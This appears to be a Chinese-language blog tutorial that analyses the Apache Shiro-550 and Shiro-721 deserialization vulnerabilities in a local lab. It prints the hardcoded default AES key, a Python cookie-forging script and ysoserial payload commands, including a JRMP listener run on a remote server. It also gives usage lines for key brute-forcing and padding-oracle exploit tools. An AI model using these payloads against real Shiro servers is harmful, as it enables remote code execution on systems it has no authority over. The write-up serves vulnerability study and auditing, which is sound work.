shiro反序列化(shiro-550与shiro-721)
目录
shiro
Apache shiro 是java的一个安全框架,可以帮助完成认证,授权,加密,会话管理等功能。它不跟任何框架或容器绑定,可以独立运行。
怎么判断是否是shiro网站
发送cookie带有rememberMe=0的包,若返回包的头部有rememberMe,则为shiro站点
shiro-550
简介
当shiro版本小于1.2.5时,主要是由shiro的rememberMe内容反序列化导致的命令执行漏洞,造成的原因是AES密钥被硬编码在shiro源码中,这就导致了可以通过在cookie的rememberMe字段插入payload实现任意代码执行
前期准备
git clone https://github.com/apache/shiro.git 下载shiro
然后 git checkout shiro-root-1.2.4,切换到1.2.4版本进行对应版本的漏洞调试
编辑shiro/samples/web/pom.xml文件,在此处加入 1.2
然后idea打开shiro/samples/web 下的pom.xml,然后Run -> Edit Configurations 添加TomcatServer
待idea加载完maven后,向tomcat部署工件
然后启动即可
开始动调
序列化,加密
在org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin 处下断点
然后进入shiro登陆页面,勾选rememberme,进行登录,断点命中
然后会校验token里面的rememberme是否为true,若为true则执行rememberIdentity函数
我们跟进rememberIdentity函数
发现principals变量获取了需要remember的用户名(此处为root),然后再调用重载函数rememberIdentity。 这个函数调用了convertPrincipalsToBytes,我们跟进看看这个函数
可以发现对传入的principals调用了serialize方法,继续跟进serialize方法
继续跟进serialize会来到这个地方
发现就是对其调用了writeObject()这个原生反序列方法而已,没什么好康的,转回头去看看convertPrincipalsToBytes那个加密函数encrypt
发现通过getCipherService方法返回了一个东西,发现是加密方式等东西
在此处156行会调用另一个encrypt方法,其中第一个参数是序列化后的用户名,第二个参数则是密钥(这个密钥是硬编码写入文件的,所以造成了安全问题)我们跟进
这里的ivBytes是一个随机生成的iv(我没跟进细看),然后在这个方法最后它调用了encrypt的重载函数,并传入了序列化后的用户名,key,iv,以及一个true。我们继续跟进
可以发现通过arraycopy,把iv和加密后的密文数据(aes)放入了output,最后返回了output. 然后这个return会一直返回到此处
output的内容作为参数传入了rememberSerializedIdentity,跟进该函数
56行,把base64加密后的output作为值写入到cookie中的remembername键
57行将其返回给客户端
burp抓包发现事实确实如此
另外说一下那个硬编码key,那个硬编码的key在AbstractRememberMeManager.class DEFAULT_CIPHER_KEY_BYTES里
可以发现通过getEncryptionCipherKey获得的key确实是DEFAULT_CIPHER_KEY_BYTES
我们简要的梳理一下这个流程, 当我们勾选rememberme后,用户名会被序列化处理,然后与硬编码的key,随机生成的iv一起进行加密,然后以 iv+密文 的base64编码返回给用户的键为rememberme的cookie里。
反序列化,解密
在我们勾选rememberme登陆后,刷新,抓包,将其JSESSIONID删除,使shiro验证cookie中rememberme的值是否正确(如果不删除JSESSIONID,shiro则直接以JSESSIONID为登陆凭证了,就不会验证rememberme中的值了)
在org.apache.shiro.mgt.DefaultSecurityManager#getRememberedIdentity 打下断点,放包,断点命中。
跟进getRememberedPrincipals方法
随后再跟进getRememberedSerializedIdentity
关注这里的86行,此处的意思是从cookie中获得base64编码后的cookie值,随后在90行对其进行填充(CBC加密中的一个流程),95行进行base64解码,并将其返回
随后我们回到getRememberedPrincipals方法,跟进其convertBytesToPrincipals方法
发现其中有个decrypt方法,这里的decrypt方法就是对其行aes解密,取前十六位为IV。
下面140行则是对其进行反序列化处理了。我们跟进一下
再次跟进deserialize方法
看到readObject,就意味着反序列化流程结束了。
梳理一下,cookie中remenber值传入后先base64解码,然后aes解密,然后反序列化。
解密,重写cookie,以写入payload
既然key是固定的,我们知道了key是什么,同时在CBC解密的时候,IV的作用只是作为第一个区块去解密第二个区块(生成的结果去解密第三个区块,以此类推),所以IV可以为随机值没什么特别要求(只要能解密就行了)那么我们就可以自己伪造一个cookie。
python脚本如下(嫖的笑师傅的),序列化payload用base64格式传入
##pip install pycrypto
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
IV = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, IV)
payload=base64.b64decode(sys.argv[1])
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
payload=pad(payload)
print(base64.b64encode(IV + encryptor.encrypt(payload)))
然后我们只需要传入base64编码的,去除换行符的payload即可。
像这样
java -jar ./ysoserial-master-SNAPSHOT.jar URLDNS "http://cao.7squwf.dnslog.cn" |base64|sed ':label;N;s/\n//;b label'
密钥获取
有些时候key并不是一成不变的kPH+bIxk5D2deZiIxcaaaA==,而有可能是其他值,我们可以用工具https://github.com/insightglacier/Shiro_exploit 来爆破出密钥
python .\shiro_exploit.py -u http://127.0.0.1:8080
即可开始爆破,当然这个工具的作用不仅仅如此
利用
URLDNS
这个链其实根本没啥危害..只是拿来测试一下有没有洞
java -jar ./ysoserial-master-SNAPSHOT.jar URLDNS "http://cao.7squwf.dnslog.cn" |base64|sed ':label;N;s/\n//;b label'
生成payload,像cookie伪造脚本传入,获得伪造的cookie
rememberme登陆后,刷新抓包,删除cookie中的session,替换cookie中的rememberme为伪造后的cookie。放包,DNSLOG有反应
cc链2
java -jar ./ysoserial-master-SNAPSHOT.jar CommonsCollections2 "calc"|base64 |sed ':label;N;s/\n//;b label'
然后制作cookie,发过去,成功弹计算器
JRMP
通过运行mvn dependency:list 命令可以发现当前Commons Collections 的版本是3.2.1
按理说会有cc链5,但是实际上用ysoserial 生成payload用上面的方法打过去后没有反应。看别人博客发现是这个原因 “Shiro resovleClass使用的是ClassLoader.loadClass()而非Class.forName(),而ClassLoader.loadClass不支持装载数组类型的class。” 解决这种问题的办法是用JRMP
vps上执行以下命令,监听端口
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 12006 CommonsCollections5 'calc'
我们再通过ysoserial生成payload
java -jar ysoserial-master-SNAPSHOT.jar JRMPClient 'vps_ip:12006'|base64|sed ':label;N;s/\n//;b label'
然后伪造cookie,发过去,成功弹计算器
小总结
这个洞因为cookie中的值使用硬编码的key加密而成,我们可以以此来伪造cookie,顺便在cookie里写入危险的paylaod如cc链payload,使cookie中的值被解密,随后经历反序列化,造成命令执行
参考:https://l3yx.github.io/2020/03/21/Shiro-1-2-4-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E 笑师傅大大
审计关键字
可以直接通过搜索关键字setCipherKey或CookieRememberMeManager,来看看密钥是否硬编码在了代码中
shiro-721
去年学的Padding Oracle 在此处被利用了起来。可以先看看Padding Oracle Attack 大概是个啥
影响版本:
1.2.5,
1.2.6,
1.3.0,
1.3.1,
1.3.2,
1.4.0-RC2,
1.4.0,
1.4.1
简介
其实漏洞代码层面逻辑上和shiro-550大致相似,只不过key没有硬编码进代码中了。shiro的cookie使用aes-128-cbc加密 只要我们获得一个rememberme用户的cookie后就可以通过padding oracle attack 伪造任意cookie发过去了,从而造成反序列化漏洞了
环境搭建
在这里下载1.4.1的war包https://github.com/jas502n/SHIRO-721/blob/master/samples-web-1.4.1.war,并放入tomcat webapps文件夹,随后启动tomcat,访问http://127.0.0.1:8080/samples-web-1.4.1/
利用
大致逻辑与shiro-550差不多,直接说利用吧。
https://github.com/inspiringz/Shiro-721 使用这个工具
首先我们得勾选rememberme,抓包获得rememberme cookie
然后通过ysoserial生成payload,将其通过管道符传入某个文件,随后用刚刚那个工具里的shiro_exp.py
python ./shiro_exp.py <url> <cookie> <paylaod文件>
随后会进行爆破,最后获得结果cookie后,传入并发包过去即可(爆破时间很长)